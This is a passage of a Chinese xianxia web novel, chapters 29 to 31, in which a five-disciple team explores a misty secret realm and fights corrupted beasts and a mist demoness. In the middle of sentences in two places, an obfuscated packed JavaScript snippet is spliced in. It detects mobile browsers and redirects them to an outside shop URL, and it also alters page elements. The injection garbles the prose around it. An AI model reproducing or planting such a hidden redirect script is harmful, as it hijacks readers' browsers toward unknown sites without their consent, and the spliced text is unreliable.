清虚真人宣布:“明日进行第二轮,团队战。二十五人将随机分为五队,每队五人,进入‘幻雾迷林’秘境,以收集‘雾晶’数量排名,前两名队伍全员晋级第三轮。” “现在,开始抽签组队。” 新的签筒被捧上来。 林家铭抽到的签是——乙队,三号。 他看了眼签牌,又抬头看向正在抽签的萧炎。 萧炎抽完签,低头看了一眼,然后抬起头,正好对上林家铭的目光。 他晃了晃手中的签牌。 上面写着:乙队,四号。 两人同队。 林家铭咧嘴笑了。 萧炎也笑了,笑容里带着某种心照不宣的意味。 有意思了。 29. 幻雾迷林,临时同盟 第二十九章幻雾迷林,临时同盟 翌日清晨,青岚宗后山秘境入口。 五支队伍已集结完毕,每队五名弟子,各宗服色混杂,气氛微妙。 林家铭所在的乙队站在最右侧。他打量着自家队友——除了萧炎这个“老相识”,其他三人都是陌生面孔。 石岳,厚土宗弟子,身材中等,国字脸,神色沉稳。林家铭对他有点印象,之前在洞府任务中,厚土宗弟子遭遇“瘴狼”埋伏几乎全军覆没,这石岳是仅存的几个幸存者之一。 水月儿,玄水宗弟子,一袭水蓝色长裙,面容清冷,腰间挂着一支玉笛。她正闭目养神,对周遭喧哗充耳不闻。 金锋,锐金宗弟子,身形瘦削如剑,背着一柄细长的银色长剑,眼神锐利得能割伤人。从站定开始,他就在用目光“丈量”每个人的要害位置。 “各位队友,咱们先认识一下?”林家铭笑呵呵地开口,“我是青岚宗林家铭,炼气六层,擅长……呃,随机应变。” 石岳抱拳:“厚土宗石岳,炼气七层,擅长防御和土系法术。” 水月儿睁眼,淡淡看了林家铭一眼:“玄水宗水月儿,炼气七层,水系法术和音攻。” 金锋吐出两个字:“金锋,炼气七层,剑。” 简洁得令人发指。 最后轮到萧炎。他倚在一棵树旁,懒洋洋地说:“离火宗萧炎,炼气七层,火法。顺便一提,我跟林师弟有点私人恩怨,大家多担待。” “私人恩怨?”金锋眼睛一亮,似乎对这种内部矛盾很感兴趣。 “没什么,就是萧师兄一直暗恋我,但我这人比较专一,只喜欢漂亮师姐。”林家铭一脸无辜。 萧炎嘴角抽了抽:“……林师弟,你是不是对‘私人恩怨’有什么误解?” “哎呀,萧师兄别害羞嘛。”林家铭眨眨眼,“虽然咱们宗门不同,性别相同,但真爱是可以跨越一切障碍的……” “闭嘴。”萧炎揉着太阳穴,“进秘境后你走前面,我保证不在背后捅你刀子。” “那可不行,万一你舍不得捅呢?” 周围其他队伍的弟子已经投来异样的目光。 石岳轻咳一声:“那个……林师弟,萧师弟,既然分在一队,咱们还是以合作为主。” “石师兄说得对。”林家铭立刻变脸,一本正经,“萧师兄,咱们的私人恩怨暂且放下,先一致对外如何?” 萧炎面无表情:“可以。但你能不能正常点说话?” “我已经很正经了。”林家铭委屈。 水月儿默默往旁边挪了两步,似乎想离这两人远点。 这时,高台上的清虚真人开口:“幻雾迷林秘境已开启,规则如下:秘境开启三日,每队需尽可能多地收集‘雾晶’——即秘境中雾气凝结成的晶石。雾晶多藏于妖兽巢穴、险地深处,或有阵法守护之处。三日后,按各队总收获排名,前两队全员晋级第三轮。” “秘境中危险重重,若遇生死危机,可捏碎传送玉符退出,但视为放弃资格。现在,入秘境!” 话音刚落,秘境入口处泛起水波般的涟漪。 五支队伍依次踏入。 林家铭只觉得眼前一花,再睁眼时,已身处一片浓雾弥漫的密林之中。 能见度不足十丈,四周是参天古木,树干上爬满湿滑的苔藓。雾气呈淡灰色,吸入体内有种轻微的麻痹感,显然含有微量毒素。不过对修士来说,这点毒素运功就能化解。 “雾气有毒,大家运功抵御。”石岳沉声道,同时双手掐诀,一层淡黄色的光罩笼罩住五人,“这是‘厚土护罩’,能抵挡雾气和大部分低阶毒物,但对灵力消耗不小,咱们得尽快找到安全区域。” “石师兄好手段。”林家铭赞道。这护罩虽然只是基础土系法术,但能同时覆盖五人且维持稳定,可见石岳对灵力的控制相当精细。 “过奖。”石岳神色凝重,“这秘境比我想象中危险。雾气不仅能见度低,还会干扰神识探查。我的神识现在只能延伸出三十丈,再远就模糊不清了。” 水月儿取出玉笛,轻轻吹了几个音。音波在雾气中扩散,她闭目感应片刻:“左侧四十丈处有水流声,右侧六十丈有妖兽气息,至少三头,实力在炼气五六层左右。” “先去左边看看。”金锋直接做了决定,“水源附近可能有雾晶。” 没人反对。五人在厚土护罩的笼罩下,小心翼翼地向左侧移动。 林家铭走在队伍中间,看似随意,实则神识全开,混沌灵力在体内缓缓运转,随时准备应对突发情况。 萧炎走在他身后半步的位置,同样看似放松,但林家铭能感觉到,这家伙的神识一直锁定着周围所有动静。 走了约莫百丈,果然看到一条小溪。溪水清澈,雾气在溪面上方略淡一些。 “分散找找,看附近有没有雾晶。”石岳撤去护罩——维持五人护罩消耗确实不小。 五人分散开,沿着溪流搜寻。 林家铭和萧炎“恰好”搜到了同一片区域。 “萧师兄,你说这雾晶长什么样?”林家铭蹲在溪边,假装观察石头。 “应该就是雾气高度凝结的晶石,蕴含精纯的水属性或风属性灵力。”萧炎也蹲下来,压低声音,“林师弟,洞府的事……” “什么洞府?哦你说那个古修洞府啊。”林家铭一脸无辜,“我不是都上交宗门了吗?韩师兄没跟你们离火宗分享?” 萧炎盯着他的眼睛:“葬兵冢里的东西,你真没拿?” “萧师兄,咱们现在可是队友,你这么怀疑我,我很伤心啊。”林家铭捂着胸口,“要不这样,等这次小会结束,我请你喝酒赔罪?青岚宗山下有家‘醉仙楼’,酒不错,师姐也漂亮……” “林家铭。”萧炎打断他,“我不是烈焱那种蠢货。咱们明人不说暗话,你在葬兵冢得了好处,我也有我的收获。既然都有秘密,不如互相保密,各取所需。” 林家铭笑容不变:“萧师兄这话说得,好像咱们在做什么见不得人的交易似的。” “难道不是?”萧炎挑眉,“你帮我一个忙,我也帮你一个。比如……我知道烈焱正在策划在小会结束后找你麻烦。如果你帮我做件事,我可以让他暂时‘没空’找你。” “什么事?” “帮我找一样东西。”萧炎从怀中取出一枚玉简,递给林家铭,“秘境深处,有一处‘雾隐洞’,里面可能藏着我要的东西。玉简里有地图和标记。” 林家铭接过玉简,神识一扫。里面确实有一幅秘境简图,标注了几处危险区域和一条通往“雾隐洞”的路线。路线绕开了好几处标注着“妖兽巢穴”和“毒瘴区”的地方,显然萧炎做了不少功课。 “你要找什么?” “一株‘雾心草’,炼制某种丹药的主药。”萧炎面不改色,“对我突破筑基有帮助。” 林家铭盯着他看了三秒,笑了:“行,成交。不过我要先声明,如果那地方太危险,我随时跑路。” “可以。”萧炎点头,“另外,队伍里其他人……石岳可以信任,他为人正直;水月儿心思深,别被她外表骗了;金锋是个纯粹的剑痴,眼里只有剑和对手,只要不挡他的路就没事。” “了解。”林家铭收起玉简,“对了,你说烈焱要找我麻烦,具体什么时候?” “第三轮结束后。”萧炎淡淡道,“他找了几个离火宗的筑基期师兄,准备在你回揽月峰的路上堵你。不过如果你帮我找到雾心草,我会‘无意中’透露给执法堂,说烈焱私下勾结外人意图残害同门。” “萧师兄,你这招借刀杀人玩得溜啊。”林家铭竖起大拇指,“不过我喜欢。” 两人正说着,突然听到水月儿的惊呼: “有东西靠近!” 几乎是同时,左侧浓雾中传来沉重的脚步声和低沉的嘶吼! “戒备!”石岳大喝,厚土护罩再次撑开! “吼——!” 三头通体灰白、形似巨狼但浑身长满骨刺的妖兽从雾气中冲出!每头都有牛犊大小,獠牙外露,眼中泛着猩红的光! “是‘雾骨狼’!炼气六层妖兽,擅长隐匿偷袭,皮糙肉厚!”石岳迅速判断,“水师妹控制,金师弟主攻,林师弟和萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189090|197041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师弟侧翼支援!” 分工明确,显然经验丰富。 水月儿玉笛横唇,一段急促的音调响起!音波化作肉眼可见的波纹扩散,三头雾骨狼的动作明显一滞! 金锋长剑出鞘,身化剑光,直刺中间那头雾骨狼的眼睛! “锵!” 剑尖刺在骨甲上,火星四溅!竟然只刺入半寸! “好硬的骨头!”金锋皱眉,抽剑后退。 这时,左右两头雾骨狼已扑了上来! “来得好!”林家铭不退反进,玄渊枪出现在手中,一枪横扫! “轰!” 左边那头雾骨狼被枪身砸中腰部,骨刺断裂数根,惨叫着倒飞出去! 右边那头,萧炎只是抬手一指,一道赤红火线精准地射入狼口,从后脑穿出!雾骨狼连惨叫都没发出,轰然倒地! 中间那头被金锋刺伤的雾骨狼见势不妙,转身要逃。 “土牢术!”石岳双手按地,地面隆起,化作土牢将雾骨狼困住! 金锋补上一剑,刺穿咽喉。 战斗结束,不过五息时间。 “配合不错。”石岳松了口气,撤去护罩,“林师弟好力气,萧师弟好准头。” “石师兄的土牢时机抓得准。”林家铭客气道,同时蹲下检查雾骨狼的尸体。 果然,在中间那头狼的腹部,他摸到了一块鸽蛋大小、呈淡灰色的晶石。 “雾晶!”水月儿眼睛一亮。 “品质一般,但总算开张了。”林家铭把雾晶递给石岳——作为队长,由他统一保管最合适。 石岳收起雾晶,神色却更凝重了:“三头炼气六层的雾骨狼……这秘境比我想象中危险。按照往年经验,外围区域最多只有炼气五层妖兽。” “也许今年秘境有变。”萧炎淡淡道,“我建议加快速度,尽快找到更多雾晶,然后找个安全地方固守。” “同意。”金锋言简意赅。 五人继续前进。 接下来两个时辰,他们遭遇了四波妖兽袭击,收获七块雾晶。其中一次遇到了一群“毒雾蜂”,虽然单个只有炼气三四层,但数量上百,若非水月儿的音攻大面积控场,加上萧炎的大范围火法清场,恐怕要有人受伤。 “这样下去不行。”石岳喘息着,连续维持护罩和施展法术,他的灵力消耗过半,“得找个地方休整。” “前面有片石林,易守难攻。”水月儿用音探术侦查后说道。 五人来到石林。这是一片由数十根天然石柱组成的区域,石柱高的有五六丈,矮的也有两三丈,分布杂乱,但中间有一小片空地。 “就在这休整一个时辰。”石岳布下简单的警戒阵法,五人各自打坐恢复。 林家铭选了一根较粗的石柱靠坐着,看似闭目调息,实则神识外放,警惕四周。 萧炎坐在他对面,同样在“调息”。 约莫半柱香后,林家铭突然睁眼。 “有东西过来了。”他低声道。 几乎同时,萧炎也睁开了眼睛。 石岳、水月儿、金锋纷纷起身戒备。 浓雾中,传来“沙沙”的摩擦声,像是有什么东西在爬行。声音很轻,但越来越近。 然后,他们看到了。 三只……或者说三“团”东西。 那是三团蠕动着的、半透明的灰色胶状物,每团都有磨盘大小,表面不断冒着气泡,所过之处,地面草木迅速枯萎,留下焦黑的痕迹。 “这是……”石岳脸色大变,“煞气凝结体!秘境里怎么会有这种东西?!” 林家铭瞳孔一缩。 这东西他太熟悉了——跟雾鬼潭那些蚀铁魔傀身上的煞气同源!甚至跟葬兵冢血池中的煞气血精也有些相似! 而更让他心惊的是,这三团煞气凝结体散发出的气息,每一团都不弱于炼气七层修士! “准备战斗!”石岳咬牙,“这东西克制五行法术,物理攻击效果也有限,大家小心!” 话音未落,三团煞气凝结体突然加速,如同炮弹般射向五人! 大战,一触即发! 30. 煞气再现,被迫联手 第三十章煞气再现,被迫联手 三团磨盘大小的煞气凝结体如同活物般蠕动扑来,所过之处草木枯死,地面焦黑,散发着令人作呕的腐败气息。 “散开!”石岳大喝。 五人瞬间分开,呈扇形后撤。然而煞气凝结体的速度极快,几乎眨眼间就扑到眼前! 金锋率先出手,剑光如电,直刺最近的一团! “锵——嗤!” 剑尖刺入胶状躯体,发出如同刺入败革的声音。那煞气凝结体被刺中的部位凹陷下去,但并未被穿透,反而顺着剑身蔓延,试图腐蚀长剑! “不好!”金锋脸色一变,抽剑后撤。剑身上已沾染了一层灰黑色的粘液,灵光黯淡,显然受到了侵蚀。 水月儿玉笛吹响,音波化作冰蓝色的波纹扩散。然而煞气凝结体只是表面泛起涟漪,速度稍缓,并未被冻结——它们似乎对冰系法术有极强抗性! 石岳双手按地:“地突刺!” 地面隆起数根尖锐的石刺,刺入煞气凝结体底部。但石刺刚一接触煞气,就开始迅速风化崩解,化作灰烬! 五行法术,效果甚微! “这东西克制五行灵力!”石岳额头冒汗,“得用特殊手段!” 说话间,三团煞气凝结体已分别扑向五人。其中一团直奔林家铭而来! 林家铭瞳孔微缩,体内混沌气旋疯狂转动。他能感觉到,这些煞气凝结体中蕴含的,是与雾鬼潭、葬兵冢同源的煞气,只是更加精纯、更加狂暴! 普通五行法术确实奈何不了它们。 但混沌灵力…… “试试这个!”林家铭不退反进,玄渊枪出现在手中,枪身灰蒙蒙的混沌灵力流转,对着扑来的煞气凝结体一□□出! “嗤——!” 枪尖没入胶状躯体,如同刺入烂泥。但这一次,情况不同了。 玄渊枪身龙纹隐现,枪魂“小黑”发出一声兴奋的低吟——它对煞气有着本能的渴望!而混沌灵力更是如同磨盘,开始疯狂吞噬、碾磨煞气凝结体中的能量! “嗷——!” 那团煞气凝结体发出诡异的嘶鸣,剧烈挣扎,试图脱离枪尖。但玄渊枪如同生根般牢牢钉在它体内,混沌灵力与龙魂的吞噬之力双重作用下,它的体积以肉眼可见的速度缩小! “有效!”林家铭精神一振。 另一边,萧炎也出手了。 他面对扑来的煞气凝结体,并没有施展常见的火系法术,而是右手掐了个古怪的法诀,指尖燃起一簇暗红色的火焰。 那火焰并不炽热,反而散发着一股阴冷的气息。 “去。”萧炎屈指一弹,暗红火苗飞射而出,落在煞气凝结体表面。 “嗤嗤嗤——!” 如同滚油泼雪,煞气凝结体表面迅速消融,冒出大量黑烟!暗红火焰仿佛对这种煞气有着天然的克制作用,短短两息,就将那团磨盘大小的煞气凝结体烧掉了三分之一! “那是……什么火?”水月儿美眸中闪过惊疑。 石岳更是死死盯着那簇暗红火焰,脸色变幻不定。 金锋则抓住机会,剑光再起——这次他不再硬刺,而是改用剑气远攻。虽然效果一般,但至少能牵制。 剩余那团煞气凝结体扑向石岳和水月儿。石岳一咬牙,从怀中掏出一张土黄色的符箓,咬破舌尖喷上一口精血! “厚土镇煞符!疾!” 符箓燃烧,化作一道厚重的黄色光幕,将那团煞气凝结体暂时困住。但光幕表面迅速被煞气侵蚀,显然支撑不了多久。 “林师弟!萧师弟!快!”石岳额头青筋暴起,维持符箓消耗极大。 林家铭和萧炎对视一眼,同时点头。 两人身形闪动,交换位置——林家铭冲向困住的那团,萧炎则去解决被金锋和水月儿牵制的最后一团。 “小黑,开饭了!”林家铭低喝,玄渊□□入光幕中的煞气凝结体,混沌灵力全力催动! 萧炎那边,暗红火焰分化成三簇,分别落在煞气凝结体三个位置,迅速蔓延燃烧! “嗷嗷——!” 三团煞气凝结体同时发出凄厉嘶鸣,在混沌灵力和神秘火焰的双重克制下,迅速消融、缩小。 十息后。 “噗……” 最后一点煞气溃散,原地只剩下三小撮灰烬,以及三颗米粒大小、呈暗灰色的结晶。 战斗结束。 五人喘息着,神色各异。 石岳瘫坐在地,脸色苍白——那张厚土镇煞符显然代价不小。水月儿额头见汗,金锋的剑上还残留着煞气侵蚀的痕迹,正在运功逼除。 林家铭和萧炎表面看起来消耗不大,但两人都清楚,刚才那一下已经暴露了不少底牌。 “林师弟,你那枪……”石岳看向林家铭手中的玄渊枪,眼神复杂。 “路边摊买的,便宜货。”林家铭面不改色,“就是材质特殊点,对煞气有点克制作用。” “萧师弟那火焰呢?”水月儿目光落在萧炎指尖——暗红火焰已经熄灭。 “家传的一点小手段,不值一提。”萧炎淡淡道,“倒是石师兄,你认识这东西?刚才你叫它‘煞气凝结体’?” 石岳沉默片刻,缓缓点头:“不仅认识……我还见过类似的东西。” 他环视众人,压低声音:“三个月前,我们厚土宗接了个任务,去‘黑风谷’探查一处异常地脉。在那里,我们遇到了跟刚才几乎一模一样的东西,只是数量更多,实力更强……” “那次任务,我们去了十个人,回来三个。”石岳眼中闪过一丝痛楚,“带队的筑基师兄为了掩护我们撤离,被十几团煞气凝结体围攻,尸骨无存。” 气氛凝重。 “然后呢?”林家铭问。 “然后宗门封锁了消息,只说任务失败,折损了些人手。”石岳苦笑,“但我私下调查过,发现不止我们厚土宗,其他宗门也有类似遭遇。这些煞气凝结体,似乎在各地秘境、险地中陆续出现……” 他顿了顿,看向林家铭和萧炎:“而且,我怀疑这东西,跟你们青岚宗之前处理的‘雾鬼潭事件’有关。” 林家铭心头一跳,表面不动声色:“雾鬼潭?那是什么?” “林师弟不用装傻。”石岳摇头,“雾鬼潭煞气泄露,古尸复苏,青岚宗和离火宗联手处理的事,五宗高层都知道。只是对外说是普通的地煞暴动罢了。” 萧炎也开口:“我也听说过。据说雾鬼潭深处有古封印松动,泄露出的煞气污染了周边区域。现在看来,这些煞气凝结体,很可能就是泄露的煞气在特定环境下凝结而成的。” “不止如此。”石岳深吸一口气,“我在黑风谷那次,还看到了一些别的东西……” “什么东西?”水月儿忍不住问。 石岳犹豫了一下,最终说道:“我看到……有人影在操控那些煞气凝结体。” “什么?!”众人皆惊。 “虽然只是远远一瞥,但确实有人形轮廓,站在煞气凝结体后方,像是在指挥它们。”石岳语气肯定,“而且那人影身上,穿着的是……五宗制式的服饰。” 这句话如同惊雷。 “你是说,五宗里有人和这些煞气怪物有关?”金锋眼神锐利起来。 “我只是说看到有人穿着五宗服饰,没说是五宗弟子。”石岳谨慎道,“也可能是有人伪装,或者……捡到的衣服。” 但这个解释,显然没什么说服力。 林家铭和萧炎交换了一个眼神。 事情越来越复杂了。 如果石岳说的是真的,那这些煞气凝结体的出现就不是自然现象,而是有人在背后推动。而且这人很可能就隐藏在五宗之中,甚至可能……就在这次小会的参赛者里。 “这事先放一边。”萧炎打破沉默,“我们现在在秘境里,首要任务是收集雾晶,安全离开。其他的,等出去后上报给各自宗门处理。” “萧师弟说得对。”石岳点头,“不过……林师弟,萧师弟,你们刚才用的手段,似乎对煞气有特殊克制作用。如果接下来再遇到这种东西,恐怕要靠你们多出力了。” “没问题。”林家铭爽快答应,“不过石师兄,咱们现在是一根绳上的蚂蚱,有些情报是不是该共享一下?比如……你那张厚土镇煞符,还有多少?” 石岳苦笑:“就那一张,保命用的。现在用掉了。” “那真是可惜。”林家铭嘴上这么说,心里却想着得找机会自己也画几张类似的符箓——混沌灵力模拟土属性,应该能成。 五人休整完毕,继续前进。 接下来的路程,他们更加小心。石岳不再轻易施展消耗大的护罩法术,改为轮流用神识探查前方。水月儿的音探术则持续开启,虽然消耗不小,但能提前预警。 又走了约莫一个时辰,收获了三块雾晶。期间遇到两波妖兽,但都被轻松解决。 “按这个速度,三天应该能收集不少雾晶。”水月儿计算着,“不过其他队伍也在收集,竞争会很激烈。” “所以得去深处。”金锋指着前方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189091|197041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“越往里,雾晶品质越高,数量也可能越多。” “但危险也越大。”石岳皱眉,“刚才的煞气凝结体已经说明,这秘境不简单。” “去不去?”萧炎看向众人。 短暂沉默后,林家铭咧嘴一笑:“来都来了,不去深处逛逛多可惜。万一捡到宝呢?” “我同意。”金锋言简意赅。 水月儿犹豫了一下,也点头:“但得制定好撤退方案。” “那就这么定了。”石岳拍板,“再往前三十里,如果遇到无法应对的危险,立刻撤退。” 五人达成一致,向秘境深处进发。 浓雾越来越重,能见度已降至五丈以内。雾气中的毒素也更浓了,五人不得不持续运功抵抗。 四周的植被开始变化,树木扭曲成怪异的形状,地面上出现许多冒着气泡的泥沼,散发着硫磺和腐臭混合的气味。 “这里的环境被污染了。”水月儿皱眉,“不是天然形成的。” 林家铭心中警惕提到最高。他体内的混沌气旋一直在缓慢运转,随时准备应对突发状况。玄渊枪也握在手中,枪魂“小黑”似乎有些兴奋,对周围环境中的煞气反应强烈。 突然,水月儿停住脚步:“前面……有声音。” 众人凝神倾听。 浓雾深处,传来隐约的……哭泣声? 那声音似男似女,若有若无,像是有人在低声啜泣,又像是风吹过缝隙的呜咽。声音中带着一股诡异的力量,让人听了心烦意乱,神魂不宁。 “小心,是音攻类的迷惑手段。”水月儿脸色凝重,“这声音能干扰心神。” 她举起玉笛,吹出一段清心调。音波扩散,将那诡异的哭泣声暂时压了下去。 但只压了三息,哭泣声又响了起来,而且更大了。 与此同时,四周的浓雾开始翻滚、凝聚,逐渐形成一个个模糊的人形轮廓…… “什么东西?!”金锋长剑出鞘。 那些人形轮廓没有五官,只是由雾气凝聚成的类人形态,数量至少有十几个。它们缓缓向五人包围过来,动作僵硬,但速度不慢。 “雾傀!”石岳脸色大变,“这东西只在秘境最深处才有!怎么会出现在这里?!” “先打再说!”林家铭一马当先,玄渊枪横扫! 枪身扫过雾傀,却如同扫过空气,直接穿了过去!雾傀只是身形晃动了一下,随即恢复原状! 物理攻击无效! “用灵力攻击!”萧炎指尖燃起火焰,火球射出。 火球击中雾傀,炸开一团火光,雾傀被炸散,但很快又凝聚起来——只是体积小了一圈。 “有效,但效率太低!”水月儿玉笛音攻再起,音波将几只雾傀震散,但同样很快恢复。 这些雾傀似乎能不断从雾气中汲取能量,极难彻底消灭! “这样下去会被耗死!”石岳咬牙,“撤!往后退!” 五人且战且退,但雾傀数量越来越多,已经从十几个增加到二十多个,从四面八方包围过来! 哭泣声也越来越响,如同魔音灌耳,让人头晕目眩。 “不行,退路被封死了!”金锋一剑斩散两只雾傀,但又有三只补上。 五人背靠背围成一圈,陷入苦战。 林家铭一边挥枪,一边脑子飞快转动。 物理攻击无效,灵力攻击效率低……这些雾傀的本质是什么?雾气凝聚?那它们靠什么行动?那诡异的哭泣声? “声音……”林家铭突然灵光一闪,“水师姐!你能用音攻干扰那哭泣声的来源吗?” 水月儿一愣,随即明白过来:“我试试!” 她深吸一口气,玉笛横唇,一段高亢激昂的音调骤然爆发! 这音调与之前的清心调不同,充满攻击性,直冲那诡异的哭泣声源头! “呜——!” 浓雾深处传来一声刺耳的尖啸,像是被激怒了! 与此同时,周围的雾傀动作齐齐一滞,凝聚速度明显变慢! “有效!”石岳大喜,“林师弟好想法!” “趁现在,冲出去!”萧炎双手结印,暗红火焰化作火环扩散,将前方几只雾傀暂时逼退。 五人抓住机会,全力突围! 然而就在这时,浓雾深处,那哭泣声突然变了。 变成了……笑声。 阴森、诡异的笑声。 “咯咯咯……嘻嘻嘻……哈哈哈……” 笑声中,一道模糊的人影,缓缓从浓雾中走了出来。 31. 雾中诡影,合作破局 那道人影从浓雾中缓缓走出,笑声阴森诡异。 起初只是个模糊的轮廓,但随着距离拉近,渐渐清晰起来。 是个女子。 一袭白衣,长发披散,赤足踏在焦黑的土地上。她的皮肤苍白得近乎透明,五官精致却毫无血色,眼眶深陷,瞳孔是诡异的灰白色。 最让人心悸的是,她周身萦绕着一层薄薄的灰雾,那些雾傀在她身边温顺地游走,如同宠物。 “嘻嘻……又来客人了呢。”女子开口,声音空灵缥缈,却带着刺骨的寒意,“五个小修士……真是美味的补品。” “你是谁?”石岳沉声喝问,同时暗自运功,随时准备出手。 “我是谁?”女子歪了歪头,灰白的瞳孔扫过五人,“我是这片雾的主人……你们可以叫我……雾姬。” “雾姬?”水月儿脸色一变,“传说幻雾迷林深处有一只修炼千年的雾妖,能操控雾气,制造幻象,吸食修士精魂……难道就是她?” “千年?”雾姬轻笑,“小妹妹,你可真会夸人。我才三百岁呢。” 三百岁的雾妖,实力至少相当于人类金丹期! 五人脸色都变了。 “不对。”萧炎突然开口,“你不是雾妖。雾妖是纯粹的自然精灵,身上不会有这种……煞气。” 他盯着雾姬周身萦绕的灰雾,眼神锐利:“你身上的气息,和刚才那些煞气凝结体同源。你是被人为制造出来的……或者说,被污染了。” 雾姬的笑容僵住了。 “聪明的小哥哥呢。”她声音冷了下来,“可惜,聪明人往往死得早。” 话音未落,她抬手一挥! 四周二十多只雾傀齐齐扑上!同时,那诡异的哭泣声再次响起,比之前更加刺耳! “结阵防御!”石岳大吼,双手按地,一道土墙拔地而起,暂时挡住正面攻势。 水月儿玉笛音攻全力爆发,试图干扰哭泣声,但明显落了下风——她的音攻造诣虽高,但雾姬的哭声仿佛天然克制音攻类法术,带着某种直透神魂的污染之力! 金锋剑光如电,斩散几只雾傀,但很快又有新的凝聚。 林家铭和萧炎背靠背,各自应付一侧。 “萧师兄,你那火焰对这东西有效吗?”林家铭一□□散一只雾傀,低声问道。 “对本体可能有效,但这些雾傀只是傀儡,灭了还会再生。”萧炎指尖暗红火焰跳动,“得找到核心——要么是那哭声的来源,要么是雾姬本体。” “那就擒贼先擒王!”林家铭眼中闪过狠色,“我冲过去,你掩护!” “你疯了?她至少是金丹期实力!” “金丹期又怎么样?小爷我打的就是金丹!”林家铭咧嘴一笑,“再说了,她要是真有金丹期的实力,早一巴掌拍死我们了,还用得着搞这些雾傀?” 萧炎一愣,随即反应过来:“你是说……她有问题?” “试试就知道了!”林家铭不再废话,身形暴起,玄渊枪在手中一抖,枪身灰光大盛! “小黑!开饭!” 枪魂“小黑”兴奋地低吟,枪身上龙纹浮现,煞气与混沌灵力交织,形成一道灰蒙蒙的枪芒! “破!” 一枪直刺雾姬! 雾姬眼中闪过惊异,显然没想到这个炼气六层的小修士敢主动攻击。她抬手一挥,面前雾气凝结成一面雾盾。 “嗤——!” 枪尖刺入雾盾,混沌灵力疯狂吞噬雾气能量!雾盾以枪尖为中心迅速消融! “咦?”雾姬终于动容,“你的灵力……很特别。” 她身形向后飘退,同时双手结印,四周雾气疯狂涌动,化作数十根雾刺,射向林家铭! “小心!”萧炎大喝,暗红火焰化作火墙,挡在林家铭身前! “嗤嗤嗤……” 雾刺刺入火墙,大部分被烧毁,但仍有几根穿过,刺向林家铭! 林家铭不闪不避,玄渊枪横扫,枪身划出灰蒙蒙的弧光,将雾刺尽数击碎! 但就在这时,雾姬眼中灰光大盛,口中发出一声尖锐的嘶鸣! 那声音不再是哭泣或笑声,而是一种直刺神魂的攻击! 林家铭只觉得脑袋“嗡”的一声,眼前发黑,神魂剧痛,动作瞬间僵住! “林师弟!”石岳见状,顾不得自身消耗,掏出一张符箓拍在地上,“土遁·移形!” 林家铭脚下的土地突然隆起,将他整个人向后平移三丈,险险避开了雾姬随后挥出的一道灰雾利刃! “咳咳……”林家铭晃了晃头,神魂的剧痛还在,“妈的,音攻升级版……” “那是神魂攻击,小心。”萧炎来到他身边,指尖燃起一簇暗红火焰,按在林家铭额头上。 火焰冰凉,却带着一股奇异的安抚之力,神魂的剧痛迅速缓解。 “谢了。”林家铭喘了口气,看向雾姬,“她确实有问题——刚才那下神魂攻击,威力最多相当于筑基初期,绝对不是金丹期。” “我猜也是。”萧炎盯着雾姬,“她身上的气息很驳杂,雾妖的自然灵气,煞气的污染之力,还有……某种人为改造的痕迹。应该是有人用特殊手段,将雾妖和煞气结合,制造出的半成品。” “半成品都这么难缠?”林家铭咂舌。 “所以控制她的人,肯定不简单。”萧炎低声道,“而且……石岳可能知道什么。” 林家铭看向石岳。刚才使用土遁符救他时,石岳眼中闪过一丝极其复杂的情绪——不只是对队友的担心,更像是……认出了什么。 “石师兄!”林家铭喊道,“你认识她?或者说,认识控制她的人?” 石岳脸色变幻,最终咬牙道:“她的气息……跟我在黑风谷见到的那个人影,有七分相似!而且她身上的煞气污染,跟黑风谷那些煞气凝结体同源!” “什么?!”水月儿惊呼,“你是说,控制这雾姬的人,和黑风谷幕后黑手是同一个?” “很有可能!”石岳一边维持土墙防御,一边快速说道,“我在黑风谷虽然只是远远一瞥,但那人影身上除了五宗服饰,还有一个特征——左手手背上,有一个暗红色的诡异印记,像是某种符文!” 林家铭和萧炎同时看向雾姬的左手。 白衣宽袖,遮住了手背。 “得看看她的手。”萧炎低声道。 “简单。”林家铭咧嘴一笑,从储物袋里掏出一张符箓——不是攻击符,也不是防御符,而是他自创的改良版“闪光符”。 “闭眼!” 他大喝一声,将闪光符甩向雾姬! “爆!” 刺目的白光炸开!不是普通的光芒,而是经过混沌灵力加持,带着强烈干扰效果的强光! 雾姬显然没料到这种手段,下意识抬手遮眼——左手抬起,宽袖滑落,露出了手背。 一个暗红色的诡异符文,清晰可见! “就是那个!”石岳激动道,“跟黑风谷那人影手上一模一样!” 雾姬意识到暴露,眼中闪过慌乱和愤怒:“你们……都该死!” 她不再留手,周身灰雾疯狂涌动,身形开始膨胀、扭曲,原本精致的五官变得狰狞,口中獠牙外露,双手指甲暴长,化作利爪! “她要现出原形了!”水月儿惊呼,“这是要拼命!” “趁现在!”萧炎大喝,“她变身过程有破绽!林师弟,用你那枪破她防御!石师兄,土牢困住她!水师妹,音攻干扰!金师弟,准备致命一击!” 关键时刻,萧炎展现出了惊人的战术指挥能力。五人几乎是本能地按照他的指令行动! 石岳一咬牙,掏出一张保命符箓——最后一张厚土镇煞符,全力催动!土黄色光幕再次出现,将正在变身的雾姬暂时困住! 水月儿玉笛吹响,音波化作冰蓝色的锁链,缠绕雾姬四肢! 金锋长剑高举,剑身泛起刺目的金芒,蓄势待发! 而林家铭和萧炎,则同时冲向雾姬! 